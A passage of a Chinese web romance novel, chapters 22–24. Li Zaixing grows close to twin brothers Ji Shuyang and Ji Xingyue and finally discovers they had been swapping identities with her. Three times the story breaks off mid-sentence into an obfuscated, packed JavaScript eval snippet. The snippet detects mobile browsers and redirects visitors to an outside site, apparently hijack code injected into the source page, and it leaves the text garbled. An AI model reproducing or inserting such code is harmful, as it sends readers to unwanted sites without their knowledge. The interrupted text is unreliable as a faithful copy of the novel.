这会儿天已经完全黑了,深蓝夜幕下,斑斓灯火如同星辰,映成一片银河。 李再星和韩栀子来过很多次游乐场,也坐过摩天轮,但还是第一次晚上过来玩。 她一边拍照一边赞叹夜景,“真好看,谢谢你们今晚约我来。” 李再星扭过头感谢,却见坐在对面的季舒阳脸色发白。 她忙问:“季舒阳你怎么了?” “我没事。” 季舒阳虽然嘴上说没事,但随着摩天轮缓缓上升,脸色愈发的白。 李再星意识到他似乎是恐高,立刻想要坐到他身边去安抚他,起身之前却又一顿,或许她不该和季舒阳有太多肢体接触,这样就不会有刚才那种奇怪的感觉。 李再星看向季行月,“你能坐到他身边吗?恐高的人身边有个人靠着会好一点。” 季行月当然不想。 他就是故意整季舒阳才会提出坐摩天轮的。 但李再星这一脸担心的模样,如果他拒绝,那去坐到季舒阳旁边的人必然是她。 尽管不情愿,季行月还是腾到季舒阳旁边,有些别扭地伸出手:“害怕就抓着吧。” 季舒阳当然也想拒绝,但面对李再星担忧的眼神,也不太情愿地抓住了季行月的手。 李再星舒了口气,还以为他们俩会无视她的提议呢,没想到都挺听话的,果然亲兄弟之间没什么别扭是过不去的。 李再星正欣慰时,忽然听见季舒阳闷哼了声。 “怎么了?”她忙问。 季舒阳虚弱笑笑:“没事。” 同时不动声色使劲捏紧季行月的手,回敬他刚才的攻击。 季行月也闷哼了声,在李再星莫名的眼神下,笑得有些咬牙切齿:“没、事。” 李再星不明所以,又莫名觉得他们俩手牵手这画面很有爱,忍不住提议:“我来给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521982|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们拍张照吧?” 却不料得到二人异口同声的拒绝:“不要!” 李再星不免失落:“好吧……” 她遗憾地小声嘟囔:“我本来还想我们仨也拍几张合照的。” 话音刚落,就再次得到异口同声的回答:“我拍!” 李再星立刻笑颜一展,把手机调到自拍模式,背对着他们,伸长手臂,“看镜头,say yes!” 相机定格了她灿烂的笑容,以及她身后的双胞胎兄弟。 戴着白色猫耳的男生,配合地比耶,笑出一口白牙,笑容阳光炫目,戴着黑色猫耳的男生,抿着嘴唇,笑容浅淡几分,望向镜头的眸光和煦。 李再星在摩天轮上拍了不少照片,走出仓的时候还在欣赏,“我们建个群,我把照片发群里。” 季舒阳忽然出声:“下一个项目,我们去鬼屋怎么样?” 李再星没意见:“可以呀,这里的鬼屋很刺激,我和韩栀子去过好几次。” 走到鬼屋门口,李再星忽然想到季舒阳刚才犯的恐高症,这会儿先问一嘴,“你们两个有谁特别怕鬼吗?” 季舒阳答得很快,“我不怕。” 他意有所指地看了季行月一眼,“怕鬼的人还是别进去了。” 季行月剜了他一眼,把腰一挺,语气很冲:“我也不怕!” 三个人就这么进了鬼屋。 这家游乐场的鬼屋会定期更换设定,这次的设定是中式恐怖,出嫁的红衣新娘惨死在新婚夜,如果找到她要的东西出鬼屋可以去兑换纪念礼品。 鬼屋里被布置成喜堂,昏暗的红色灯光,格外阴森。 李再星走在中间,季舒阳和季行月一左一右在她两侧。 越往里走,环境越阴气逼人。 季行月忍不住开口:“怎么这么凉飕飕的。” 季舒阳幽幽开口:“你不是说不怕?” 季行月没好气:“你哪只耳朵听见我说怕?” 旁听二人斗嘴的李再星很想扶额,刚才在摩天轮上不还好好的吗,怎么这会儿又要吵起来了? 正苦恼着该怎么办,忽然有个披发红裙的“女鬼”不知从哪冒出来,张着血盆大口送了他们一个突脸,嘴里念叨着:“把我的手帕还给我~~~” 李再星还没反应过来,右边耳朵迎来一声惨叫:“啊啊啊啊我靠——!” 李再星没被突脸的女鬼吓一跳,倒被季行月的尖叫震得整个人一惊。 她反射性看向季行月,想去安抚他,却几乎在同时,左手被人抓住。 季舒阳牵着她绕开女鬼拔腿就跑,把女鬼和被吓惨的季行月抛在身后,李再星甚至来不及收回看向季行月的视线。 也正因此,在这瞬间,她看见季行月那又绝望又不可置信的眼神。 鬼屋的工作人员向来是谁更胆小就更吓唬谁,季行月毫无疑问地被女鬼缠住。 季舒阳并没有带着李再星跑出鬼屋,而是跑进喜堂旁边的一间小屋子里,关上门。 “季……” 李再星刚想说话,就被季舒阳捂住嘴。 “嘘,”季舒阳示意她先别出声,压低声音说,“这里不止一个人扮鬼。” 在他松开手后,李再星小声问:“你怎么知道?” 季舒阳实话实说:“我查了攻略。” 李再星眨了眨眼:“那你是不是早知道季行月怕鬼?” 季舒阳没回答,只挑挑眉,歪头一笑。 这是李再星第一次见他笑得这么狡黠,眸光闪亮,那点调皮的少年心性从眼角眉梢流露出来。 方才季舒阳捂她嘴时向她靠近很多,此刻也没有退后拉开距离。 李再星也才发觉两人之间的距离如此之近。 近到可以感受到他温热的呼吸。 他轻敛的眼睫,眼尾的笑意,身上清新朦胧的桂花香气。 昏暗安静的空间,李再星听见什么声音越来越响亮。 再也无法否认,那是她的心跳。 完蛋了,完蛋。 她或许是个对爱情不忠的人。 因为,她好像,在同时喜欢着两个人。 22.第 22 章 从鬼屋出来时,李再星有种如释重负的感觉,意识到自己同时喜欢上了季舒阳,她心里对季行月有种说不上来的愧疚。 李再星垂头丧气,不知道该怎么办才好。视野里突然伸进一只骨节分明的手,躺着两个鬼新娘的亚克力钥匙扣,她抬头,面前男生朝她微微一笑,“这是兑换的礼品。” “谢谢,多亏了你,我们才找到手帕,”李再星接过其中一个,想了想,请求他的同意,“我可以把这个钥匙扣给季行月吗?” 季舒阳笑容顿了顿,没说话,只点点头。 季行月比他们出来得都晚,看样子吓得不清,脸色都白了一个度。 一出来,直冲到季舒阳面前,愤愤控诉:“你竟然丢下我就跑,卑鄙!” 季舒阳反讽回去:“你不是说不怕?” 季行月语塞:“你——” 李再星就知道季行月会出来找他们算账,连忙劝架:“我们找到了手帕,兑换了两个钥匙扣,看,可爱吧?给你一个!” 她把钥匙扣举到他面前,挡住他朝季舒阳发射的愤怒视线。 季行月并不是生她的气,对她的语气缓和很多,“我和你一人一个吗?” “是你们俩一人一个啦。”李再星想起季行月说过的,双胞胎必须送一样的东西,又马上补充了一句,“两个是一模一样的哦。” 季行月听到前半句立刻不想要,转念一想,他不要,李再星就会留下,变相地跟季舒阳有了情侣款,这绝对不行。 季行月接过钥匙扣,又不解气的给了季舒阳一记眼刀,后者一脸漠然,无动于衷。 咻——砰! 游乐场到点开始了烟花秀,烟花划破空气升空,在夜空绽放出斑斓焰火。 李再星仰头望向夜空,真心地赞叹:“真漂亮。” 她忽然想起来今天忘记了一件最重要的事。 这句话应该用最大的声音喊出来。 李再星朝前跑了几步,身后两个男生并不知道她要做什么,正要跟过去时,她忽然转身,眉眼弯弯,笑着喊他们: “季舒阳,季行月——” 两个男生同时看向她。 女生头顶的烟花,明亮色彩交替变幻,落在她眼眸,皮肤,瞩目的笑容。 手掌拢在唇边,在烟花的爆裂声中,她大声地祝贺:“生日快乐!” …… 游乐场之行,是李再星这学期的最后一次放纵。 因为,考试周到了。 中文系的考试,知识点又多又杂,用一句话概括:就算背到头发掉,考试时还是摸不着头脑。 不过,对李再星来说,这次考试周,更棘手的事,某对双胞胎兄弟。 起因是她抱着书去图书馆复习,季行月在微信上说要跟她一起看书,她当然应好,把楼层自习室和座位号发给了他,却不知怎的,一下来了俩。 两人从进自习室就引起注目,眼看这视线焦点马上又要落到自己身上,李再星二话不说火速收东西离开现场,装不认识二位大神。 “怎么看见我们就跑,”季行月一跟出自习室就问,语气颇有不满,“我们给你丢人了吗?” 李再星解释:“是你们俩站在一块太高调了,我会被误会的。” 季行月不解:“误会什么?” 李再星闭麦,没办法跟当事人解释。 季舒阳见她为难的模样,出声说:“是我们俩打扰你复习了,我们俩去其他楼层。” 真是善解人意! 李再星当即松了口气。 季行月却一脸莫名看着他,明明死皮赖脸跟着自己来的是他,现在竟然又主动离开?不过为什么要把他也带走啊?谁跟他我们俩呢? 就在季行月要甩开季舒阳时,又听季舒阳问:“其实我来是想问你,小猫不怎么吃东西该怎么办?” “小猫不吃东西?” 李再星一听这事,连忙担心起来:“是呼噜还是趴菜?” “趴菜,已经两天了。”季舒阳说。 猫食欲突然减退有很多原因,最严重的就是猫传腹,不光危险,还有传染性。 李再星止不住地担心,“要不我去你家看看吧,看看要不要去看医生。” 季舒阳点头,“好。” 他应好时,看了季行月一眼。 今早才喂趴菜吃了根猫条的季行月:“……” 季行月很想当场戳穿这个谎话精,但当李再星真去了他家,一进屋就看到趴菜在埋头吃猫粮时,又条件反射地去帮他圆了这个谎。 “趴菜估计是想你想的,一看到你来了就吃这么香。” 李再星一心都在猫身上,没去细想,看见趴菜和呼噜都很健康,顿时松了口气:“还好没什么事。” 季行月轻咳了声:“都到这了,要不然你在这跟我看书复习得了,比图书馆更安静。” 在这看书环境安静,但她心里很不宁静。 李再星正想婉拒,季舒阳端了杯热饮给她,“刚才风大,喝点热茶暖暖身子。” 李再星接过杯子,道了声谢,又听季舒阳说:“和趴菜呼噜多待会儿吧,他们也很想你。” 李再星张了张嘴,在二人的注视下,拒绝的话到底没说出口,认输般妥协:“那我就多待会儿吧。” 她再待一会儿就走。 就一会儿。 季舒阳弯弯唇:“你中午想吃什么,我给你做。” 李再星:“……” 好吧,她吃完中饭就走。 吃完一定走! 就这么稀里糊涂地,坐在他们家餐厅里看书学习,还蹭了一顿中饭,又在要回图书馆复习时,被季舒阳以图书馆可能没有空座位为由,继续留在了他们家看书。 中午这顿饭吃的碳水不少,李再星有点晕碳,吃完饭没多久就犯了困,但考试在即,还是强打精神看书。 犯困的人强打精神,就像屏住呼吸挑战,总是会又抵不住的时候。 脑子里的那根弦被困意压断,李再星的脑袋垂下来。 就在要磕上桌子时,一只温暖干燥的手,接住了她的额头。 鼻尖嗅到若有似无的果香,像刚剥开的柑橘,清新微涩。 李再星很想醒过来看是谁的手,可眼皮实在太沉重,意识也因困意模糊不清。 隐约地,似乎听到谁在说话,却听不清说了什么。 季行月轻轻把手放下,让她的脑袋枕在季舒阳刚拿来的抱枕上,随后在旁边侧身托着腮,欣赏她的睡颜。 许是考试周的缘故,她花了许多精力复习,眼下浮现淡淡青黑,此刻也睡得很沉,呼吸绵长平稳。 长长的睫毛垂着,不知是做了什么梦,鼻子浅浅皱了一下,像在嗅什么。 “真可爱。”季行月轻轻地笑。 才笑完,抬眼就对上站在另一边的季舒阳的视线。 对视的一瞬间,季行月想到了那天在鬼屋里的女鬼。 不,比那女鬼更阴森。 季行月啧了声,敛了笑意回正身体,烦躁地转笔。 季舒阳收回视线,从房间里拿来毛毯,轻轻盖在熟睡的女生身上。 季行月忽然低声开口:“你还记得高二那年欠我的人情吗?” 高二的时候,他无意间在季舒阳房间看见一盒烟。 那盒烟明明是季舒阳的,就因为他当时刚好拿在手里,还没来得及有样学样闻闻烟味呢,就被突然回家的秋丽抓个正着。 季行月当时真是跳进黄河也洗不清,无论他怎么辩解,吸烟的锅就这么不由分说地让他给背上了。 因为谁都不会相信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526301|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想象不到,季舒阳那个优等生,会偷偷吸烟。 季行月就这么平白挨了一顿竹条炒肉,简直冤枉到六月飞雪。 现在,重提当年的季行月,看向罪魁祸首,“现在该还了。” 季舒阳面不改色反问:“你是怎么考上青大的?” 青大虽比不上东晏,但也是本地的top1大学,季行月高中没什么心思在学习上,成绩确实不怎么地,是高三时让季舒阳一对一补习,才考上的。 季行月被他一噎,使劲磨了磨后槽牙,把笔转得更快,语速也更快:“你当初逃课,是我帮你应付的教导主任。” 季舒阳同样回敬:“我帮你伪造过家长签名,不止一次。” “是我帮你去智明要的微信号。” “没有你说不定我会更顺利。” “……” 兄弟俩谁也不让谁,直到季行月不断转动的笔啪嗒掉在地上,这场莫名其妙开始的翻旧账大赛才终于中断,一个弯腰捡笔,一个低头看书。 谁也没有注意到,趴在桌上的李再星,呼吸不再均匀平稳,眼睫毛无声动了几下。 这这这这是怎么回事? 他们怎么突然互相说起对方的黑历史了? 她刚刚睡着的时候发生了什么事? 不过这应该不是重点,重点是…… 她要怎么自然地醒过来啊! 被吵醒的李再星不敢睁开眼睛,只能继续装睡,装着装着,没想到最后真的又睡着,醒来时天都快黑了。 李再星连忙起来收拾东西,要回学校。 “我送你吧。” “我送你!” 季舒阳和季行月几乎同时开口。 李再星看着一左一右两人目光灼灼看向自己,左右为难。 “不、不用了,天还没完全黑呢,路上人也很多,我还要去趟超市买东西,不用麻烦你们了,谢谢招待!” 最后,她两个都没选。 …… “就不能两个都选吗?” 韩栀子翘着二郎腿,咬了口苹果,对好友的选择指指点点。 李再星朝她丢了个包纸巾,有气无力骂:“滚蛋。” 瞧她这脸色苍白的模样,韩栀子忍不住骂她:“你也真是够疯的,大冬天的洗冷水澡,把自己整成蔫白菜了吧。” 考试周过后,李再星迎来了寒假,只不过这个寒假,并不怎么美妙。 她妈妈李素雅女士,今年要去二婚丈夫家那边拜年,一个人在家过年太冷清,李素雅自然要带着她去。 虽然对妈妈的再婚毫无异议,但李再星还没完全适应重组家庭,更觉得去继父家那边,只会让自己尴尬无助。 既不想去,又不想让李素雅伤心,继父尴尬,所以只能委屈自己,感冒一场。 李再星接过韩栀子叉来的苹果块,一口咬下,继续瘫在床上,“所以不是把你喊过来伺候我了嘛。” “伺候你个头。” 韩栀子无语地翻了个白眼,“再有下次,我可不来了。” 李再星把她的话当耳旁风,躺在床上,闭着眼睛嚼苹果。 韩栀子看她这知错不改的模样,有气没处撒,忽然灵光一闪,有了好主意。 她拿出手机,笑得贼兮兮。 没过多久,门铃响起。 李再星正靠在床头看剧,听到门铃,疑惑看向韩栀子:“你点了外卖?” “好像是,”韩栀子似乎打游戏打得入迷,用脚丫子戳了戳她,“你去拿。” “……没见过这么使唤病人的。” 李再星嘴上抱怨,但还是起身走出卧室,一边挠了挠三天没洗有点痒的头,一边走向玄关,打开门。 愣住。 两个长相一模一样的男生,此刻,站在她家门前。 23.第 23 章 “砰——” 反应过来的第一时间,李再星用力甩上门。 她用0.01秒就知道这件事的罪魁祸首是谁。 “韩栀子!” 李再星一边往卧室跑一边喊,“你都干了些什么!” “找人来伺候你啊。”韩栀子理直气壮。 李再星气不打一处来,怕外面人听到,降低了声音:“我头都没洗!” 韩栀子倒是没考虑到这点,心虚眨眼:“要不你戴顶帽子?” 李再星也了她一眼,“你去招待,我去洗头。” 说完拿起毛巾就往浴室跑。 韩栀子临危受命,走去玄关开门,见到门外两人愣了下,她只有季舒阳的q\q,所以只给季舒阳一个人发了消息,怎么一下来了俩儿? 难道季舒阳是故意喊上季行月?上赶着演三角恋? 门外,季行月看见她,也愣了,怎么韩栀子也在这? 韩栀子不是喜欢季舒阳吗?难道李再星是故意把他喊过来,是想撮合他们俩? 他下意识看了眼季舒阳,后者朝韩栀子微微颔首,便拎着一袋子水果进了屋,像是并不意外。 季行月眉梢一动,来了主意。 李再星用这辈子最快的速度洗了个头,吹干头发后又换了身衣服,这才走到客厅,对已经坐下的两人尬笑:“不好意思,刚刚失礼了。” 又很不客气踢了下韩栀子的小腿,“去把水果拿去厨房洗了。” 韩栀子懒得动:“你是主人,我是客人诶。” 她喊来的客人她不招待,李再星就差没朝她龇牙:“那我还是病人呢。” “我去洗吧。” “我去洗吧。” 两个男生几乎同时站起来,异口同声,又因对方的出声而看向对方。 韩栀子秒变看戏脸,三角恋好啊,三角恋妙,刺激得呱呱叫。 李再星一点也不妙,生怕他们俩争着去洗水果,别在厨房打起来,急中生智道:“要不我们点奶茶喝吧,正好我也有点想喝热奶茶了。” 季舒阳点头,“听你的。” 李再星抽走韩栀子手里准备偷拍的手机,瞪了她一眼,打开外卖软件,问坐着的两人,“你们想喝哪家店的奶茶?” 季行月说:“我随便哪家店,点杯常温柠檬茶就行。” 季舒阳:“我也常温柠檬茶。” 听他说完,趁李再星低头点单,季行月微微靠近他,嘴唇没动,声音很小地吐槽:“你能不能别学我了?” 他明明喜欢喝咖啡,以前还嫌弃柠檬茶太甜。 季舒阳皮笑肉不笑回敬:“这不是你教我的吗?” 两人正较着劲,忽被女声打断:“你们俩在说什么悄悄话呢?” 韩栀子生怕自己漏了一丁点儿八卦,盯着他俩问。 “没什么,”季行月朝她笑,“你是韩栀子吧?季舒阳的高中同班同学,高中时候总听我哥提起你。” “提起我?”韩栀子仿佛听到了什么惊天爆闻。 当然,是贬义的那种。 同样皱起眉的是被编排的另一个当事人,“我没……” 季舒阳刚想否认,却被李再星打断:“真的吗?韩栀子高中也老跟我提起季舒阳呢。” 只不过,是贬义的那种。 “我没……” 季舒阳看向李再星,想再解释,却又被季行月故意打断:“那你们俩关系还不错啊,我还是头一次见到我哥和女生关系这么好的呢。” 韩栀子越听越不对劲,怎么话题突然拐到她身上了呢? 韩栀子没懂,季舒阳懂了。 他扯了扯嘴角:“我倒是经常看见你和许多女生关系很好。” 季行月咬了咬腮帮子,皮笑肉不笑:“她们那都是在跟我打听你的事。” 季舒阳轻呵:“所以你就混成了妇女之友?” 兄弟俩嘴上功夫谁也不让谁,闻到火药味的韩栀子很想变成海豹,使劲鼓掌。 “我决定了!” 韩栀子看向不知该如何劝架的李再星,“我要喝奶茶两兄弟!” 李再星给了她一记白眼,“你还是去喝油吧!” 火上浇油的油。 原以为这场没有硝烟的战争就此打住,但在等外卖的这期间,尴尬的沉默无声蔓延。 谁都不先开口说话,谁都不知道先开口说什么。 李再星实在没招,提起果篮就往厨房走:“你们在这坐着,我还是去洗点水果。” 她打算把这摊子丢给韩栀子。 季行月快人一拍开口:“我跟你一起——” 话才刚说完,肩膀却被人按住,扭头一看,是季舒阳。 季舒阳:“你确定你能进厨房?” 季行月:“洗个水果而已,又不用开火。” “切水果呢?”季舒阳打开嘲讽模式,“你想让我们吃荤?” 季行月失语几秒,忍住了竖中指的冲动,不服气不行地坐下来,眼睁睁看着季舒阳跟着进厨房。 早知道他也学点做菜的手艺!至少练到不会切到手的程度! 李再星看见季舒阳也进了厨房,有点尴尬:“其实我一个人可以的。” 季舒阳也没强行阻止她洗水果,只是走过来,伸手绕过她身侧,转动水龙头温控的方向,将冷水调成温水:“你还在生病,少碰冷水为好。” 他是微微侧着身的,跟她的距离有些近,李再星一抬眼,就看见男生利落的下颌线,尖锐的喉结随着他的呼吸上下一滚。 是因为感冒吗,她的喉咙有点痒。 在她洗水果时,季舒阳在旁边切哈密瓜。 李再星瞥了眼他面前的砧板,哈密瓜被去皮,切成几近等大的果切。他不止做饭好吃,刀工也很好。 似乎察觉她的视线,季舒阳忽然出声:“你还有发烧吗?” 看他切水果看得太入神,李再星好一会儿才反应过来是在跟她说话,她做坏事被抓包般心虚地急忙答话:“不、不发烧了。” 她异样的反应引来季舒阳的视线,他歪了歪头,似乎不信。 李再星强调:“真的!不信你摸!” 她嘴巴比脑子跑得快,说完才意识到自己说了什么,连忙想要收回,却见季舒阳笑了。 就在那次在鬼屋里时看到的,有些孩子气的笑。 “好啊。”他用那样的笑容回答。 李再星顿时忘记收回的话,眼看着他走到洗碗槽边洗了洗手,在流理台上的纸巾盒里抽出一张,慢条斯理地擦干手上的水珠。 他的手格外漂亮,手指修长,骨骼线条清晰,在厨房的灯光下,皮肤是冷色的白,能看清手背的青色血管。 这样漂亮的手,朝她伸过来,轻轻覆在她的额头上,微微的凉意传达到她的皮肤。 李再星不知怎的,不自觉屏气。 就在她以为自己要窒息时,门口忽然传来不可置信的一声: “你们俩在干什么?” 李再星和季舒阳两人同时看向门口。 季行月黑脸站在那,一副被谁背叛的模样:“不是切水果吗,怎么手摸到人脸上去了?光天化日之下,竟然、竟然……” 竟然偷跑! 李再星连忙摆手解释:“我们什么也没……” “你脑子里在想什么?” 她的解释被季舒阳打断,“你不在客厅坐着陪韩栀子,来这里做什么?” 季行月一听这话更来气:“你还好意思说!人家韩栀子还在这坐着呢,你还跑到厨房来偷偷摸摸!” 季舒阳面无表情:“喜欢过她的人又不是我。” 季行月睁大眼睛:“你怎么知道?” 李再星的表情空了一秒,大脑信息过载:“啊?” 谁喜欢过谁? 季行月连忙向李再星解释:“我只是对她的颜有过好感,那都是高中时的事了,而且韩栀子喜欢的人是季舒阳,不是我!” 李再星表情又空了一秒,大脑跟不上节奏:“啊?” 谁喜欢谁? 赶过来看戏结果戏唱到自己身上的韩栀子扯着嗓子否认:“季行月你在侮辱谁啊!谁脑子有病喜欢季舒阳啊!” 厨房里简直乱成了一锅粥。 好在这场硝烟很短暂,韩栀子臭着脸说只要帮她升两个游戏段位,自己就可以不计前嫌,李再星还生着病,不想做费脑子的事,一票驳回。 “还是看电影吧,正好我妈新换了投影仪。” 李再星用遥控器降下电视机前的幕布,边问:“你们有想看的电影吗?” 热爱刺激的韩栀子第一个举手:“我要看血浆片!” 季舒阳对此没什么意见。 李再星没忘鬼屋那件事,为难地看向季行月,季行月还没来得及说什么,就被季舒阳抢先一步开了嘲讽:“怕的人可以回家。” 季行月一秒中招:“谁怕了!看就看!” 李再星:“……” 最后还是选了《死神来了》系列的其中一部。 长沙发位置有限,韩栀子很识趣地坐到旁边的单人沙发,还看热闹不嫌事大地指点:“你们三坐那吧,星你坐中间。” 李再星给了她一记眼刀,这人不是想看死神来了,是想看兄弟战争。 但她最终还是坐在了季舒阳和季行月两人中间。 客厅关了灯,投影仪的灯光投射到幕布上,反射出的光线闪烁着,映在每个人脸上,音响里发出最经典的开幕声。 这部电影主打死亡预兆和血腥冲击,jump scare倒是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531179|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,但不禁吓的季行月还是会时不时抖一下。 他万幸自己紧闭上嘴,没有发出一丝被惊吓的声音。 坐在他旁边的李再星还是能感受到他身体突然的哆嗦,第三个人死的时候,李再星悄悄靠近他,低声询问:“你还好吗?” 季行月偏头,两人坐得本来就近,他依稀能闻到女生发丝间的洗发水香味,电影的灯光照在她柔和的侧脸,清澈的杏眼饱含担心。 季行月其实还好,真的。 但他现在想要自己不好。 季行月让自己的笑尽量看起来牵强,轻声道:“不太好,你能不能陪我出去透透气?” 李再星点点头,站起来。 韩栀子见状问:“干嘛?” 李再星帮季行月找了个借口:“我们出去买点冰淇淋回来吃。” 韩栀子不疑有他,立刻点单:“我要抹茶味八喜。” 季舒阳看了他们一眼,收回视线后停了两秒,才说:“我不用了。” 李再星有些惊讶他竟然没闹着要一起去,但也没多问什么,穿上外套换上鞋,和季行月一起坐电梯下楼。 客厅里,韩栀子暂停了电影,问留下来的人:“你怎么不一起下去?” 季舒阳没说话,一直沉默着。 韩栀子以为他不会回答,重新摁下电影的播放键时,听到了男生低低的一句: “她刚刚一直在看他。” 这几天一直在下雪,无论是景观树还是草坪,积雪都很厚,有不怕冷的小孩,在小区里堆雪人,欢笑声一片。 李再星也觉得好玩,问季行月:“我们要不要也堆一个?” 季行月看她冻得直哆嗦,摇头:“不要。” 李再星没想到他会拒绝:“为什么啊?” 季行月食指戳了下她冰凉凉的脸蛋:“你还在生病呢。” 李再星面露可惜:“早知道不感冒了。” 季行月被她孩子气的话逗笑,无奈道:“在这等我一下。” 李再星想问他做什么,就见他摘了手套,走到草坪边,蹲在地上,抓了一把雪,搓成圆球,又抓了一把雪,搓成更小一点的圆球,把两个圆球合在一起后,他捧着走过来,送到她面前。 “迷你的雪人可以吗?”他问。 “当然可以,”李再星笑着接过,又看见他的手冻得通红,“你的手好红,赶紧把手套戴起来,别长冻疮。” 季行月却一点不急,笑她:“刚才某人还闹着要自己堆雪人呢,这会儿知道冷了?” 李再星想为自己辩驳,还没来得及,面前男生忽然伸出双手,捧住了她的脸。 冰凉的温度冻得她一激灵,啊地一声叫出来。 季行月哈哈大笑。 “好啊你!”李再星也摘了手套,捧着雪人把手冰了几秒,弯腰把雪人放在地上后,也踮起脚要去冰他的脸,却被季行月敏捷地躲过。 李再星不服气地追着他跑,“你站住!” 季行月当然不听,大长腿跑得快极了,还故意在她身旁转着圈跑逗她。 一直到李再星跑得出了汗,气喘吁吁停下,双手撑着膝盖喘气,“不、不追了,我跑不动了。” 季行月这才得意地走过来,停在她身前,看着她笑,“知道我的厉害了吧?” 话音才落,李再星迅速起身,踮起脚,双手贴上他的脸。 季行月也被冻得一激灵,但没叫出来。 他配合地弯了点腰,俯身看着她笑:“好吧,让你报复回来。” 他这么坦荡,李再星反倒有点不好意思了,想要收回手,却反而被季行月伸手抓住手腕,没让她动。 “干、干嘛?”她有点慌张。 季行月没有说话,只是垂眸注视着她,像是要说什么。 距离很近,李再星依稀能看见他根根分明的眼睫毛,以及左眼角下的那颗泪痣。 她低了低眼。 脑海中忽然闪过一个模糊的画面。 她似乎之前也这样捧着过他的脸。 想起来了,是那次喝醉酒的时候。 有些丢脸的回忆突然变得清晰,那时候,她捧着男生的脸,耍流氓般细细地看,看他红润的薄唇,高挺的鼻子,狭长的眼睛。 还有右边眼皮上的那颗小痣…… 咦? 怎么是右边? 意识到什么,李再星唰地抬眼,刚好对上面前男生的视线。 季行月垂眸注视着她,孤注一掷般开了口:“李再星,我喜欢你,你要不要跟我交往?” 被他告白的女生却收回了她的手,像发现了什么不可置信的事情,连连后退两步。 李再星震惊地望着他,声音有些颤抖:“你……” “到底是季行月,还是季舒阳?” 24.第 24 章 季行月脸色骤然一变。 “你、你在说什么呢?我是季行月啊。” 他的声音里带着不可忽视的慌乱。 见他这样慌张,李再星心里已经有了一个猜测。 “我问你一个问题,你老实回答,”李再星紧盯季行月,声音很沉,“你们跟我相处的时候……是不是互换过身份?” 面前的男生没说话,他的表情已经回答了一切。 李再星只觉自己的世界观遭到冲击,往前回想种种不对劲但没多想的地方,为什么季行月有时用微信联系她,有时用短信,为什么季舒阳第一次见她,就对她表现得异常亲切。 一切都说得通了。 李再星气极反笑,“把我耍得团团转,很有意思吧?” “李再星,你听我解释。”季行月想要解释,却被打断。 “双胞胎真是方便呢,一个人用两个身份,把人的真心当玩物,你们真是……” 李再星已经忍不住哽咽,眼泪迅速积满眼眶,“真是太过分了……” 她不想在这里哭,丢下这句话就要走,却被季行月抓住手臂,“对不起,我知道我现在说什么都没有用,我——” 他的话在看到女生流下眼泪的一瞬间哽住。 李再星抹掉溢出来的眼泪,“你走吧,我不想再见到你们。” 挣脱开他卸下力气的手,她头也不回往家的方向跑,方才放在地上的小雪人,也被她无知无觉一脚踩碎。 季行月看着她的背影,失魂落魄塌下肩。 李再星哭着回了家,一进屋就跑回了卧室扑进被子里。 韩栀子只看见她像风一样回了房,跟进房间,瞧见她趴在床上肩膀一耸一耸,连忙问:“星,你怎么了?” 李再星泪流满面抬头:“呜呜呜栀子,你把季舒阳也轰回家去……” “季舒阳?他早就回家了呀,你们下楼没多久他就走了。” 韩栀子抽了张纸巾帮她擦眼泪,“怎么了呀?你和季行月在楼下发生什么事了?” 李再星抽抽噎噎地把季家兄弟俩互换身份跟自己相处的事一股脑儿全说出来,韩栀子听完,气得爆粗口:“我靠!这也太过分了,他俩有病吧!” “是吧?我也觉得他们俩脑子有问题,”李再星哭得上气不接下气,“我跟他们什么仇什么怨,这样把我当傻子耍着玩。” “你这么哭着回家太便宜他们了,我追上去给他们两耳光!” 韩栀子说完就起身要走,被李再星抓住手臂。 李再星吸了吸鼻子,“算了吧,打他们两耳光也不会改变什么,我再也不想跟他们有任何来往,就当不认识他们两个。” 认识这么多年,韩栀子知道她的脾气,愿意去扇耳光说明还能消气,说出就当不认识这样的话,这是真的生气到心死。 上一个让她这样的人,还是她那个出轨的生物爹。 她此刻需要的不是解气,而是安慰。 韩栀子重新坐回床上,伸手抱住她。 李再星埋在她肩上,狂哭不止。 季行月是红着眼眶回家的。 不知道该如何是好,急到流泪,在外面雪地里哭了很久,回到家,看见不知何时先一步到家的季舒阳,好不容易止住的眼泪,突然一下就涌出眼眶。 “呜呜呜哥……” 他一进屋就哭着朝季舒阳走过去,季舒阳眉头一皱,想到什么,嘴角一翘,语气掩不住喜悦,“你告白被甩了?” 季行月哭声一顿,推搡了他一下,“有你这样的吗?” “比被甩还糟糕,”季行月哭着鼻子说,“我们两互换的事被她知道了。” 季舒阳脸色变了变,“你坦白的?” “怎么可能!”季行月抹着眼泪说,“我告白的时候,她自己发现的。” 